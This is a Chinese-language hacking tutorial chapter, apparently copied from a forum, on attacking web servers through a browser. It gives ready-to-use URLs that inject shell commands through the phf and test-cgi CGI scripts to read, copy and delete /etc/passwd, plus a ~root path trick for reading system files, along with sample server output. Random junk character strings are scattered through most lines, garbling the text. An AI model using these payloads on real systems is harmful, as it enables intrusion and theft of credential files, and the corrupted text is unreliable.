在本章我將講述一些利用瀏覽器來進行攻擊的方法* W" f* F2 r" i( T) X- R+ g0 n* v
1。大家都知道了phf攻擊了,phf是cgi script,很多站點都有這個大漏洞啦,使用1 ~$ Z9 F" N" o; j% u! @
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個站點的passwd.但還有些更好的執(zhí)行方法呦如:
. y. y. l$ [- N3 Q9 q; {. ghttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
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me=&Qoffice_phone=: Y& v6 x9 {! c3 \/ w
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
' ~% Y' r8 T9 dhaqr&Qemail=&Qnickname=&Qoffice_phone=
0 l( J- k5 _: d& h! B% xhttp://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd6 Y: k8 m) m5 e# h4 V* r0 d
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=6 O/ K. F* E5 W( a
http://thegnome.com/~someuser/passwd
4 {+ d/ \% [" @8 z6 A8 Ehttp://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname. X. x/ Z4 m, i2 {
8 ~; s, U4 B6 W1 ^( w=haqr&Qemail=&Qnickname=&Qoffice_phone=
2 ?& V2 M: R% p3 W- {+ _0 s6 [上面執(zhí)行的命令是8 V6 ^8 |3 g2 K& _: K& Y; p6 A
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ls -la ~someuser
6 C9 ^- F5 L; B: ^) R3 ucp /etc/passwd ~someuser/passwd
' v$ L8 {4 h* urm ~someuser/passwd, b }! f% @- C I# \; T
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2。有關(guān)test攻擊( Q% x4 v# X- D) A0 B
http://thegnome.com/cgi-bin/test-cgi?\whatever* v' ?+ h. r( |8 f1 N9 W
服務(wù)器會應(yīng)答,本服務(wù)器的一些情況如:
' H! E% q! L gCGI/1.0 test script report:
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6 g4 q* `. ^, F! bargc is 0. argv is ., t' Z8 T0 k1 j! q/ O! o2 \- F
% g* `0 ^" |* O, l/ d7 h- `SERVER_SOFTWARE = NCSA/1.4B, t8 e/ W0 p0 h/ ~
SERVER_NAME = thegnome.com
" e0 c4 e6 Z. C6 n$ {! V9 h8 UGATEWAY_INTERFACE = CGI/1.1
& w) c( p! [6 q' c P# rSERVER_PROTOCOL = HTTP/1.0- l0 N6 E& b0 T
SERVER_PORT = 80
; U/ ~6 J* O- i; {' @. j* xREQUEST_METHOD = GET
6 i' v% b* ]2 C4 n& {9 k H: v1 XHTTP_ACCEPT = text/plain, application/x-html, application/html, + x2 S2 g# q" l$ L
text/html, text/x-html4 v, y D, h1 l& l- x* V) O
PATH_INFO =7 q3 ]# F, y! F, t
PATH_TRANSLATED =
6 I! a( D* D: f NSCRIPT_NAME = /cgi-bin/test-cgi- I9 ?% L0 U( s- g4 J$ C3 M N
QUERY_STRING = whatever
( J. R, `7 C6 @ c$ n9 xREMOTE_HOST = fifth.column.gov
! w5 M9 f/ s; d9 B, X$ F+ ?REMOTE_ADDR = 200.200.200.200
% k4 R2 [0 X2 }* B2 C/ E# K! QREMOTE_USER =
! e* c# t6 Z$ U }( |+ tAUTH_TYPE =
* ?6 M" v8 a' s) r4 OCONTENT_TYPE =
* z: i* Y! J' A2 L7 R7 bCONTENT_LENGTH =+ I" L0 Y* K' u. j
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好吧,讓我們來點趕興趣的. _& m/ E4 I( X1 W! h$ m: e- S. `( j
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
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% l' L, e- `2 T+ Q3。~的應(yīng)用$ O- o! G4 a* e$ M
~主要是用在很多的個人主頁上的快捷目錄的方法,如果我們使用這樣的~
. H. _# h0 p' T4 v+ \. D5 i7 Qhttp://thegnome.com/~root# ^" x$ ]* D8 B6 e2 I3 g3 \
http://thegnome.com/~root/etc/passwd
! o( @3 X' r6 H$ D不是在任何平臺上都通過呦,在BSD Apache上曾經(jīng)成功過,當(dāng)然還可以試試~bin ,~etc,~uucp.....0 q; u2 z, c) o+ C5 G1 |9 x
看到這個站點了嗎,本站所在的這個站點就是用這種形式的,如果我們打入 本站所在的web地址/~bin W* \2 G, F% I$ E8 ^5 e8 H
出現(xiàn)了什么,你看到了嗎?然后...............注意請不要破壞6 Q/ x# s A; k
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